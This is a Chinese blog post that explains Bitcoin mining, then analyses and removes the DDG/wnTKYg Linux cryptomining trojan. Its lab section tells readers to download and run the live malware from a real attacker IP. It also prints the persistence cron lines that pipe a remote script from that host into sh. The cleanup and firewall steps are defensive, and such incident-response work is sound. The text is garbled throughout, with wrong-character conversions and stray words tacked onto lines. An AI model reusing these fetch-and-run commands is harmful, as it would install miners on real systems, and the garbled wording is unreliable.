對比特幣挖礦木馬分析研究和清除

本文做者:simeonhtml

來源:i春秋社區linux

1、什麼是比特幣系統算法

有關比特幣的專業知識講解的內容資料不少,我這裏只是簡單通俗的記錄下我的的學習和對他的理解。你們每每看到比特幣首先想問的它究竟是什麼,是否是錢。能夠確定的回答你們,他是錢,可是他不僅是個體,他實際上是一個虛擬的電子貨幣支付系統,是的是一個系統。shell

  因此我這裏說了這麼多的廢話,就是但願你們之後看到比特幣,咱們不是把它當作是一個硬幣,而是咱們一看到比特幣,我就立馬想到的是它實際上是一個系統(電子幣虛擬支付系統)。只要你們能這樣想,後面講的內容你們就好理解了。編程

  你們若是想要比較清晰的瞭解什麼是比特幣,咱們就必須知道比特幣實際上是一套系統,他不是體,他是由各個「關鍵的基礎點」共同在必定協議技術之上「運行的貨幣支付系統」。那麼筆者接下來會分兩步,給你們進行簡單知識點的普濟,即比特幣系統的「關鍵基礎構成」與其「比特幣運行機制」。安全

1.1 比特幣系統關鍵構成服務器

  首先給你們貼出介紹比特幣系統的一張圖,你們簡單的看下。這一張圖片展現的就是一個完整的比特幣系統有哪些內容構成,那麼咱們從這張圖中咱們能夠看到什麼呢?網絡

1.png

經過前面我的的學習,我簡單的歸納出如下幾個關鍵點:架構

· 用戶
系統中各個外圍的使用者,如學生、老師、僱員以及其餘等待使用者;ssh

· 曠工
爲整個系統的運行提供支撐的人員和基礎設施,其實際構成就是由人、計算機、電力系統、校驗認證等等共同構成;

· Blockchain(區塊鏈)
看到Blokcchain,第一次聽到這個詞的人可能會一頭霧水,其實你們無需迷茫,我給你們簡單的打個比喻,你們就明白了。這個區塊鏈其實就是整個比特幣系統運行的底層協議,就像咱們的互聯網底層協議TCP/IP同樣。若是你們還不明白,那說的再簡單點,你們就把他理解爲一個「記帳本」就OK,他就是來負責整個比特幣系統中進行記帳的載體。

  那麼前面廢話說了這麼多,到什麼是比特幣呢?請各位親們往下看,下面咱們會從比特幣的比特幣支持過程比特幣發行過程兩個方面帶你們一塊兒認識下比特幣。

1.2 比特幣系統運行過程

  我的對於比特的運行過程進行了簡單的歸納,一是比特幣系統的「支付過程」,二就是「貨幣發行過程」。你們若是弄明白了這兩個過程基本就瞭解了比特幣系統是什麼了,也就理解什麼是比特幣了。

1.2.1 貨幣支付過程

   1.2.1.1 關鍵詞

   在說明比特幣的支付過程以前,你們先帶你們看幾個關鍵詞:P2P去中心化終端用戶

· P2P
咱們稱他爲點對點(即我的對我的);

· 去中心化
這個很字面了,不難理解,即沒有中心,你們都是個體對個體的;

· 終端用戶
用戶就是使用者,就不用解釋了吧。

OK!咱們瞭解了上面三個關鍵詞後,咱們就來看下比特幣定義。

比特幣定義:它是一種去中心化的,基於區塊鏈網絡技術的,P2P電子支付技術系統。聽起來是否是仍是很含糊,OK,那麼說的再簡單點,就是比特幣是一個P2P(點到點)的電子支付系統。

1.2.1.2 P2P支付過程

經過上面的定義,你可能仍是不太瞭解其運行過程,那麼咱們舉一個生活中的例子來給你們簡單說明。

場景舉例:A 向 B 支付100元,在 「中心支付模式」 和 「點對點支付模式 」,他們各自是如何完成支付的呢。

 

· (1)中心支付模式

   咱們知道在現實生活中咱們的貨幣支付系統的支付過程是這樣的,當A支付出100元后,銀行會在A的帳戶中減去100元,同時在B的帳戶中增長一筆100元的記錄。也就是整個交易支付過程都是由銀行在中間進行處理與記錄的,銀行是整個支付系統的中心繫統,他有一本全部人的總帳本,這中心帳本記錄全部的交易與支付記錄。

2.png

 

 

2)P2P支付模式

   而比特幣網絡這種點對點支付系統就不一樣了,當A給B支付了100元后,不須要通過任何中心支付系統進行結算和記錄,徹底由這個A和B各自去記錄完成,同時通告給P2P網絡中的全部人,而後比特幣網絡中的每一個終端成員都會更新本身的帳本記錄下A與B之間的支付帳單。也就是說P2P支付系統模式中,每一個終端個體都有跟帳本,且每一個人的帳本記錄內容都是同步更新的。;

3.png

 

· 過程理解

  比特幣系統就是一個基於「終端帳本記錄」技術的點到點的,去中心化的,電子貨幣支付系統。而終端「帳本記錄技術的實現」,其是經過前面說的「區塊鏈」技術來實現的;

· 支付模式小結

  o 所謂「P2P支付模式」:就是每一個終端個體都一個如出一轍的帳本;

   o 所謂「中心支付模式」,就是隻有一箇中心節點有一個帳本,就這麼簡單;

說了這麼多,你們不知道是否是已經理解了比特幣的支付模式了呢,是的沒錯所謂比特幣的P2P支付模式,就是每一個人都一個帳本,全部的支付結算過程結果都由每一個人本身的帳本記錄進行更新記錄,固然每一個人的帳本記錄都是同樣的內容,至於怎麼實現,請各位親繼續日後看。

1.2.2 貨幣發行過程

   前面講了那麼多比特幣的支付過程,那一個很是重要的問題來了,請問這些比特幣系統中每一個人的比特幣是哪裏來的,即貨幣究竟是誰發行的呢? 這個問說若是你們搞清楚了,各位親也就能理解我常常聽到或遇到的「挖礦惡意程序」的究竟是個什麼玩意了。

1.2.2.1 關鍵詞

統一在爲各位親說明貨幣發現過程以前,先帶你們看幾個關鍵詞或者說是關鍵點,即區塊鏈、曠工以及比特幣獎勵

· 區塊鏈

  其實有區塊鏈前面我已經簡單的說過,區塊連接簡單的理解就是一個記帳本;可是這裏咱們須要更詳細的說明下區塊鏈,我如今把區塊鏈分爲兩個部分來理解:即區塊。一個區塊鏈其實他記錄從最原始的帳單交易到如今此時此刻的交易內容,它由區塊和鏈共同兩部分共同構成。在比特幣系統中每10分鐘生成一個新的區塊,這10分鐘生成的區塊它會記錄最近10分鐘網絡中生成的信息支付交易記錄,而後經過鏈接到原始的區塊鏈上造成更新後的新的區塊鏈,並通告全網進行公共帳單的更新。

· 比特幣獎勵

這個就是字面意思,就是進行某個客體的比特幣獎勵。

· 曠工

   是指經過一種特別的軟件不斷重複哈希運算(hash碰撞)來產生工做量的各個網絡終端節點。礦工們須要競爭完成一種基於加密哈希算法的數學難題,數學題的答案存在於新的區塊中,誰優先解出這個答案,誰就能在p2p網絡中廣播聲明本身已經得到這個區塊,其餘的曠工就會意識到在這局裏已經輸了,就會立馬開始下一個區塊的挖掘工做。每一個礦工在他的區塊中都有一筆特殊的交易,他們會將新生成的比特幣做爲報酬,而後支付到本身的比特幣地址中。一旦這個區塊被承認被驗證,也就是被添加到區塊鏈中,他的這筆報酬就能夠變爲可用可消費的狀態。

 

1.2.2.2 比特貨幣發行

經過前面比特幣網絡的學習,咱們知道比特幣其實一個P2P的網絡,這也表示網絡中的每個人都當擔這比特幣系統的一小部分,可是一個主要的問題出了比特幣來時哪裏呢?

· (1)法幣發行機制

咱們都知道就現實生活中的法幣來講,政府可以決定什麼時候發行新的鈔票,可是比特幣並無中央政府。

· (2)比特幣發行機制

在比特幣的系統中,曠工們用一種特別的軟件來解決數學難題,做爲工做量的回報,款共能夠獲取取比特幣系統新生成的特定數量的比特幣,這種機制就是比特幣系統提供的一種發行貨幣的創新方式,同時也提供人們參與挖礦的動機。

· (3)貨幣發行實際場景解析

4.png

你們若是看了上面的解釋還不清楚,筆者結合前面區塊鏈的內容再結合實際場景的給親們解釋下。

咱們經過前面學習知道,比特幣網絡中每10分鐘會生成一個新的區塊,這個新生成的區塊其會包含多個內容。

第一個內容:就是最近這10分鐘產生的全部比特幣支付交易記錄;

第二個內容:是區塊鎖(即簽名或者說前面說的數學難題的答案);

第三個內容:就是即將新發行的比特幣(獎勵給第一個算出數學難題的曠工)。

   如今咱們把這三個內容聯繫起來,咱們知道比特幣P2P網絡中每一個人都一本帳本,那是否是意味着每一個均可能去篡改本身的帳本呢,是的存在這個可能,因此比特幣網絡設計了區塊鏈的技術來防止這個狀況的出現,那麼每一個人手中的帳本如何可靠安全的更新呢?

   好的,咱們如今重回到區塊鏈技術,咱們知道比特幣網絡每10分鐘生成一個區塊,通俗點就是一個當前10分鐘網絡中全部交易的帳本記錄,爲防止有人惡意篡改,區塊鏈被加了簽名(即一把鎖/答案)防止被惡意篡改,比特幣網絡中第一個破解了這個簽名的人,便可以新的區塊加到原始的區塊鏈上去;咱們知道誰也不可能義務勞動,因此在被更新的區塊中還包了對第一個破解人的比特幣獎勵的更新帳單記錄;這個獎勵的比特幣方式就是發行新比特幣的方法和過程了。

2、惡意挖礦程序的由來

      咱們如今瞭解到曠工是整個比特幣系統運行的底層基礎運算保障,也是整個區塊鏈技術的核心部分,比特幣系統運行機制中爲了保障整個比特幣的系統有效運行和吸引更多的個體投入到系統中來,設立對曠工工做的獎勵機制即經過衡量他們的運算貢獻給以比特幣的獎勵。也所以現實社會中有了更多的人願意將我的的計算機運算能力提供給比特幣的網絡系統,隨着比特幣的價值提高,更多的人有組織、有體系的,合法甚至不合法的去給比特幣系統網絡提供運算支持,其基本發展歷程以下。

2.1 礦工與貨幣發行回顧

  在將惡意挖礦程序由來以前,咱們須要回顧下什麼是礦工、挖礦獎勵機制、比特幣的發行。

  我如今都知道在比特幣系統中,礦工們是用一種特別的軟件來解決數學難題,來做爲交換比特幣系統生成的特定數量的比特幣,而這種機制提供了一種發行貨幣的創新方式,同時也創造了人們參與挖礦的動機。因爲比特幣網絡的交易須要礦工來進行驗證,更過礦工的參與也意味着更安全的比特幣網絡,但同時隨着礦工愈來愈多,比特幣系統也會自動會自動改變這些數學題目的難度,而難度的變化的速度,一般又取決於解題的速度。

2.2 挖礦的歷史歷程介紹

2.2.1 通常CPU計算的時代

最先期的礦工們都是使用我的使用計算的CPU進行爲挖礦,這是最原始的挖礦;

2.2.2 顯卡的時代

   不久以後,礦工們發現使用顯卡更適合於挖礦工做,顯卡速度雖然快;可是顯卡萬科也有其自身的缺陷,就是須要消耗更多的電力,溫度也會太高;人們發現挖礦的成本增大了;

2.2.3 ASIC 芯片時代

隨後挖礦利益的驅動,出現專業更專業的挖礦產品,爲挖礦提供專業的編程芯片,這種挖礦機雖然加快了挖礦速度,但仍然須要消耗大量的電力;
   ASIC 芯片的挖礦時代就應用而生了,特定的ASIC技術經過更少的消耗電量讓比特幣挖礦更快;

2.2.4 礦場與礦池的時代

· (1)礦場的誕生

     隨着ASIC芯片專業技術的出現,挖礦的難度也增大了,爲了獲取更大的利益,出現了大量的投資人投資創建機房的運行模式,大批量的投資建設機房的模式來進行挖礦,這種以款場的模式就出現了。這類礦廠在今年以前,中國的系統佔據了整個比特幣網絡的半壁江山,由於中國的系統有着大量的廉價電力能夠被提供來進行挖礦;

· (2)礦池的誕生

  隨着比特幣的日益流行,愈來愈多的人加入挖礦這個行列,使得挖礦的難度也不斷的提高,爲了克服這個問題,礦工們開發出了「礦池」的挖礦方式,礦池結合了全部我的的計算能力,讓更多的我的也還能夠加入到挖礦的行列中來了,這種模式爲更快的找到難題的也提供了一種解決方案,而每一個參與的礦工依據他們爲礦池提供的工做量的比例分配礦池中的收益。

2.3 挖礦惡意程序總結

  上面鋪墊說了這麼了多,相信你們看到礦池的出現時,就都明白了「挖礦惡意程序」的由來了。是的,沒錯了,挖礦惡意程序其實就是礦池模式中礦池的一員,正常礦池中的成員都是自願加入礦池中,爲礦池提供計算能力,而後依據本身的計算貢獻能力,從礦池的收益中來獲取本身的分配所得。可是惡意程序是在未受權的狀況下向你的服務器惡意植入的一個程序,並盜用了你我的計算機的計算能力來爲Hacker掙錢的行爲。

這就是咱們常常說挖礦事件的真實面目了,說了這麼多不知道你們是否明白了,嘴巴都說幹了。

 

3、本地實驗環境搭建

   以上說了這麼多都在跟你們一塊兒去學習和了解下比特幣是什麼、挖礦是什麼、惡意挖礦程序又是怎麼由來的,詳細此時你們應該都或多或少有了一點的瞭解了,那麼接下來就是咱們看看安全當中惡意挖礦程序是如何運行,咱們若是不幸中招了如何快速作出響應和處理。

3.1 挖礦惡意程序分析

3.1.1 挖礦惡意腳本程序

  本次試驗環境中使用的挖礦惡意程序主要基於實際環境中捕獲的惡意程序進行分析後總結後從網絡中直接獲取的,涉及的程序包含「1個shell腳本」和「2個可執行程序」,具體名稱以下(未作任何改動)。

· i.sh shell腳本

· dgg2020 惡意程序 (分爲x86 x64)

· wnTKYg 惡意程序

3.1.2 挖礦惡意程序詳解

3.1.2.1 i.sh shell 腳本

腳本下載地址: http://218.248.40.228:8443/i.sh

5.png

i.sh 經過以上腳本內容分析,咱們能夠清晰的看到i.sh就是一個shell腳本,他主要功能咱們經過分析能夠知道,其主要負責完成如下兩件事情。

第一個任務:每五分鐘下載一次i.sh腳本,並執行,目的應該就是爲了循環執行以達到一個守護的目的;

第二個任務:依據當前系統的架構,下載相對於的ddg程序,並授予可執行權限而後運行。

3.1.2.2 dgg.xxxx 可執行程序

· (1)版本分析

  經過上面的i.sh腳本,咱們能夠看到dgg.2021的下載地址,分析的過程當中咱們能夠知道程序設計考慮還很周全,分爲了x86 與 x86_64兩個不一樣架構的版本。

6.png

在分析的過程當中還發現這個ddg.xxx這個程序的版本有2020與2021兩個版本,其實在我寫這篇文檔時,進行環境復現時版本已經升級到2021版本了,更新還挺頻繁的,其實還遠不止這兩個版本。

· (2)功能分析

   經過實際環境分析,發下dgg.xxxx這個程序的主要功能就是下載wnTKYg並運行他,同時其仍是wnTKYg的守護者,當咱們刪除wnTKYg是,若是未能刪除dgg.xxxx,那麼很快wnTKYg還會再次復活。

3.1.2.3 wnTKYg 可執行程序

    wnTKYg這個程序直接讀取是沒法看到其內部內容的,我的能有限,也沒法作到具體內容的分析,若是哪位大神有這個閒情,請帶我飛。這裏我僅從其運行的特性來分析下其主要功能。

7.png

  這裏放出一張直接手動運行wnTKYg程序後的截圖,經過上面這張圖咱們其實能夠很直接看到三個關鍵字「miner」、「Pool」、「block」,是否是咱們第一個章節中廢話說了那麼多,就這個三個詞能,是的「礦工」、「礦池」、還有就是「區塊鏈技術」。因此,這裏不言而喻這個wnTKYg就是挖礦的主程序了,就是負責給比特幣網絡提供底層運算的勞工了。

3.2 環境搭建

3.2.1 下載惡意代碼程序

1. # wget http://218.248.40.228:8443/i.sh

2. # wget http://218.248.40.228:8443/2021/$(uname -m)

3. # wget http://218.248.40.228:8443/wnTKYg

3.2.2 運行腳本搭建環境

3.2.2.1 運行失敗小插曲

     我第一次搭建環境的時候使用的是我的的PC來搭建的運行環境,運行的過程當中發現,下載的惡意wnTKYg程序主動運行時進行報錯,告訴個人CPU 沒有AES-IN。

8.png

 查詢發現這個AES-IN,表明的是Advance Encryption Standard New Instructions;AES-IN 高級加密標準新指令集,這也就意味着你的CPU若是不支持 AES-IN,還不配有挖礦的資格,想成爲肉雞都不配,我只能笑着說,是我太LOW,我過小白了,我不懂…(其實心中千萬個cao ni ma 奔馳而過…)

接着經過如下命令檢查了下個人CPU是否真的不支持AES-IN。

1. # cat /proc/cpuinfo |grep aes

  原來個人臺式機真的不支持AES-IN這個高級指令集,隨後我看了下個人最新的筆記本,OK,還算幸運居然支持,隨後將CentOS7的環境移植到了個人筆記本中,繼續進行試驗。

3.3.2.2 更換環境運行成功

從新找了一臺新的環境,在驗證了服務的CPU支持AES-IN指令集的狀況下,從新安裝捕獲的惡意程序運行腳本,運行一切OK。

 

9.png10.png

注意事項

 

   環境腳本運行的時候要注意,就是先下載i.sh,而後直接運行等待一段時間便可。(主要是因爲運行i.sh文件後,他須要去下載ddg.2021主程序,這個程序相對較大並且還在國外)待ddg.2021程序運行正常後,隨後它就會去下載wnTKYg這個程序計算程序,他也運行成長,環境就搭建成功了。

若是你發現你等待了好久都環境都沒搭建成功,能夠嘗試清除一下計劃任務表,由於計劃任務表會循環下載ddg.2021文件,可能會影響ddg.2021的正常運行。

4、挖礦惡意程序處理流程

4.1 異常問題定位

4.1.1 異常進程排查

(1)top 排查

使用top命令直接動態排查可能異常進程,配合 -c能夠直接查找到異常進程的物理位置。

1. # top -c

11.png

(2)ps -ef 排查

1. #  ps -ef |grep wnTKYg

2. #  ps -ef |grep ddg.2021

(3) 疑似進程定位

1. [root@localhost ~]# find / -name wnTKYg*

2. /tmp/wnTKYg

3. [root@localhost ~]#

4.1.2 異常會話排查

(1) # netstat -pantul |grep ESTAB

查詢會話創建狀況,查看是否有異常會話鏈接。

1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB

2. tcp        0      0 192.168.31.9:22             192.168.31.75:3898          ESTABLISHED 3742/sshd           

3. tcp        0      0 192.168.31.9:56842          163.172.226.120:443         ESTABLISHED 7263/wnTKYg         

4. tcp        0      0 192.168.31.9:22             192.168.31.75:3953          ESTABLISHED 3795/sshd           

5. tcp        0      0 192.168.31.9:35286          104.131.231.181:8443        ESTABLISHED 7193/ddg.2021      

6. tcp        0      0 192.168.31.9:55200          218.248.40.228:8443         ESTABLISHED 6339/curl           

7. [root@MiWiFi-R3-srv tmp]#

12.png

 

4.1.3 計劃任務排查

(1) # crontab -l

查詢當前計劃任務中是否存在異常未知的任務被添加。

1. [root@localhost ~]# crontab -l

2. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

3. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

4. You have new mail in /var/spool/mail/root

(2) 直接查詢用戶任務配置文件

1. [root@MiWiFi-R3-srv ~]# tree /var/spool/cron/

2. /var/spool/cron/

3. ├── crontabs

4. │   └── root

5. └── root

6.

7. 1 directory, 2 files

8. [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/root

9. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

10. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

11. [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/crontabs/root

12. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

13. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

14. [root@MiWiFi-R3-srv ~]#

4.1.4 惡意程序確認

若是此時你還不確認當前程序是不是惡意程序,能夠直接將定位到的疑似惡意程序進行md5 hash後進行校驗比對進行確認。

md5校驗網站https://www.virustotal.com/#search

(1) 進行疑似文件的md5sum 哈希

1. [root@MiWiFi-R3-srv tmp]# md5sum wnTKYg

2. d3b1700a413924743caab1460129396b  wnTKYg

3. [root@MiWiFi-R3-srv tmp]#

(2) 進行MD5哈希疑似病毒校驗比對

直接將疑似文件wnTKYg的md5哈希值複製到病毒校驗網站https://www.virustotal.com/#search進行查詢比對。經過比對結果,咱們能夠清晰的看到wnTKYg爲惡意程序。

13.png

4.2 挖礦惡意程序處理方式

4.2.1 直接清理惡意程序

(1)清除計劃任務

首先第一步須要先刪除計劃任務,由於計劃任務會每5分鐘循環下載惡意程序並受權執行;

· 方法一

直接使用crontab命令配合參考 -r 直接狀況crontab列表中的任務,使用前請確認任務列表中任何生產相關的計劃任務。

1. # crontab -r       # 直接使用此命令便可上次當前用戶的計劃任務

2. #

3. # crontab -l       # 直接查詢當前用戶是否還存在計劃任務

4. no crontab for root

· 方法二

在確認計劃可能還存在其餘正常業務須要的時候,我能夠直接編輯計劃任務的配置文件,刪除咱們看到惡意寫入的計劃任務內容。

1. # vi /var/spool/cron/root

2. #

3. # /var/spool/cron/crontabs/root

分別編輯以上兩個root配置文件,刪除惡意計劃任務內容,便可。

1. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

2. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

3. ~                                                                  

4. ~                                                                  

5. ~   

        

(2) 殺死惡意進程

第二步就殺死相關的惡意運行行爲的程序,除了wnTKYg與ddg.2021覺得,當前若存在curl程序,也應該將其殺死。

· 方法一:直接殺死程序

1. # pkill wnTKYg

2. # pkill dgg.2021

3. # pill curl

· 方法二:殺死惡意程序進程號

注:方法二每每都是在方法一很差使的時候強制來使用的。

1. # ps -ef |grep wnTKYg       # 查詢惡意程序的ps進程號

2. # kill -9 PID

3.

4. ## ps -ef |grep ddg.2021    # 查詢惡意程序的ps進程號

5. # kill -9 PID

6.

7. ## ps -ef |grep curl        # 查詢惡意程序的ps進程號

8. # kill -9 PID

(3) 清除惡意程序

清理過程的最後一步纔是進行相關惡意程序的刪除操做。

1. # rm -rf /tmp/wnTKYg

2. # rm -rf /tmp/ddg.2021

3. # rm -rf /tmp/i.sh

4.2.2 禁止服務主動訪問互聯網

  禁止服務主動訪問互聯網的方法是咱們快速處理挖礦惡意程序對服務器影響的最快,最有效的方法,也是一勞永逸的,固然有外面的人是怎麼進來的,不是咱們這裏主題,這裏不作過多的說明。接下來就詳細的記錄與分析下咱們爲何這麼作,怎麼作。

4.2.2.1 問題分析

· (1) wnTKYg 分析

  經過對挖礦程序的運行機制我能夠知道,礦工(miner)即惡意程序wnTKY的主要運行機制就是爲比特幣網絡提供底層的運算的能力,即須要主動去連接外網,若是此時我限制服務器主機主動訪問網絡的話,是否是就能夠限制wnTKY的運行能。有過對挖礦惡意程序處理經驗的小夥伴都知道,其實挖礦惡意程序惟一作的事情就是在你爲受權的狀況利用你服務主機的運算能力爲黑客搭建的礦池提供計算能力,幫他掙錢。一旦咱們的服務不能主動訪問互聯網了,其實對於這裏黑客就沒有意義了,由於此時咱們的服務就沒法將計算的結果提交給礦池了,也沒法同步與下載計算任務了。

· (2) i.sh 與ddg.2021分析

經過前面的分析學習,咱們知道ddg.2021程序是主程序也是wnTKYg的守護進程,其是由i.sh下載下來並執行的,因此對於i.sh與ddg.2021的下載,咱們也要禁止掉。

4.2.2.2 如何下發網絡訪問控制

其實禁止主機主動訪問互聯的方法有不少,好比能夠經過網絡中的防火牆禁止服務主動鏈接互聯;或者在作內網返現代理時,就不代理內網服務器均可以實現咱們的目標。

不過我這裏只說明瞭怎麼利用咱們的Linux服務器只帶的防火牆iptables來下發訪問控制,禁止服務主動鏈接互聯網。

· (1) 檢查惡意程序外網互聯地址

第一步就是經過會話監控命令,監控查詢惡意程序 wnTKYg、ddg.202一、curl下載的外網互聯地址;

1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB

2. tcp        0      0 192.168.31.9:22             192.168.31.75:3898          ESTABLISHED 3742/sshd           

3. tcp        0      0 192.168.31.9:56842          163.172.226.120:443         ESTABLISHED 7263/wnTKYg         

4. tcp        0      0 192.168.31.9:22             192.168.31.75:3953          ESTABLISHED 3795/sshd           

5. tcp        0      0 192.168.31.9:35286          104.131.231.181:8443        ESTABLISHED 7193/ddg.2021      

6. tcp        0      0 192.168.31.9:55200          218.248.40.228:8443         ESTABLISHED 6339/curl    

 

· (2) 下發外網訪問控制策略

依據查詢出的外網互聯地址,直接下發訪問控制策略,禁止服務訪問這些網絡地址。

1.

2. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 163.172.226.120 -j DROP

3. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 104.131.231.181 -j DROP

4. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 218.248.40.228 -j DROP

5. [root@MiWiFi-R3-srv tmp]#

14.png

4.3 找到入侵的源頭

以上全部說的這麼多都是與你們一塊兒瞭解下挖礦的惡意程序是怎麼運行的,在咱們的服務器到底作了些什麼,我應該如何應對這個惡意程序,固然也能夠爲其餘惡意程序的問題定位與處理提供借鑑與參考。

  可是,歸根結底問題仍是出在咱們的服務上,咱們的服務可能存在漏洞被人惡意利用了,服務被入侵,咱們必須找到入侵的根源才能確保服務的安全。
有關服務器入侵根源的查找的方法,這裏不作展開說明了,簡單記錄下基本思路。

· (1)查找當前服務器日誌,收集可能入侵的痕跡,確認入侵的根源;

· (2)針對服務器應用和主機層面進行自查與安全掃描,確認服務器自己是否存在大的漏洞

· (3)在確認或疑似漏洞被確認後,迅速的安排進行加固修復,

· (4)建議最好對關鍵數據進行備份,從新部署系統與應用,並進行相應的安全配置,修復存在的安全漏洞,從新上線。

5、挖礦事件應急處理總結

5.1 確認挖礦事件

5.1.1 異常進程排查

1. # 進程動態快速定位,使用 top -c可快速定位異常常常的物理位置,查詢異常進程。

2. # top -c

1. # ps -ef 排查

2. #  ps -ef |grep wnTKYg

3. #  ps -ef |grep ddg.2021

1. # 疑似進程定位

2. [root@localhost ~]# find / -name wnTKYg*

3. /tmp/wnTKYg

4. [root@localhost ~]#

5.1.2 異常會話排查

1. # 查詢會話創建狀況,查看是否有異常會話鏈接。

2. # netstat -pantul |grep ESTAB

5.1.3 計劃任務查詢

1. [root@localhost ~]# crontab -l

2. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

3. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

4. You have new mail in /var/spool/mail/root

5.1.4 異常病毒校驗

第一步:使用md5sum 命令進行疑似文件哈希

1. # md5sum wnTKYg

2. d3b1700a413924743caab1460129396b  wnTKYg

第二步:進行疑似病毒MD5哈希值的校驗比對

直接將疑似文件wnTKYg的md5哈希值複製到病毒校驗網站https://www.virustotal.com/#search進行查詢比對。經過比對結果,咱們能夠確認疑似文件是不是惡意程序。

5.2 處理惡意程序

5.2.1 清除計劃任務

1. # crontab -r       # 直接使用此命令便可上次當前用戶的計劃任務

2. #

3. # crontab -l       # 直接查詢當前用戶是否還存在計劃任務

4. no crontab for root

5.2.2 殺死惡意進程

1. # pkill wnTKYg

2. # pkill dgg.2021

3. # pill curl

5.2.3 清除惡意進程

1. # rm -rf /tmp/wnTKYg

2. # rm -rf /tmp/ddg.2021

3. # rm -rf /tmp/i.sh

5.2.4 下發訪問控制策略

下發訪問控制策略,禁止服務互聯三個惡意程序外聯的外網地址。

1. # 查詢惡意進程外網互聯地址

2. #

3. # netstat -pantul |grep ESTAB      

4. tcp        0      0 192.168.31.9:22             192.168.31.75:3898          ESTABLISHED 3742/sshd           

5. tcp        0      0 192.168.31.9:56842          163.172.226.120:443         ESTABLISHED 7263/wnTKYg         

6. tcp        0      0 192.168.31.9:22             192.168.31.75:3953          ESTABLISHED 3795/sshd           

7. tcp        0      0 192.168.31.9:35286          104.131.231.181:8443        ESTABLISHED 7193/ddg.2021      

8. tcp        0      0 192.168.31.9:55200          218.248.40.228:8443         ESTABLISHED 6339/curl           

9.

10. # 下發放控制策略,禁止服務的外網互聯

11. #

12. # iptables -A OUTPUT -d 163.172.226.120 -j DROP

13. # iptables -A OUTPUT -d 104.131.231.181 -j DROP

14. # iptables -A OUTPUT -d 218.248.40.228 -j DROP

學習參考

· (1)比特幣概念介紹

https://mp.weixin.qq.com/s?__biz=MzI1MTkwNjg5Mw==&mid=2247483744&idx=1&sn=4e4db07b5b4bd4a70d0470a82730ebac&scene=21#wechat_redirect

· (2)視頻講解

[url=https://www.youtube.com/watch?v=N35nul3srWk]https://www.youtube.com/watch?v=N35nul3srWk[/url]
https://www.youtube.com/watch?v=vqSautdQEoI

· (3)木馬清除
http://friendlysong.blog.163.com/blog/static/32252439201722932034657/

· (4) tcpdump 詳解

http://roclinux.cn/?p=2474

 

 

>>>>>>黑客入門必備技能   帶你入坑,和逗比表哥們一塊兒聊聊黑客的事兒,他們說高精尖的技術比農藥都好玩!

相關文章
相關標籤/搜索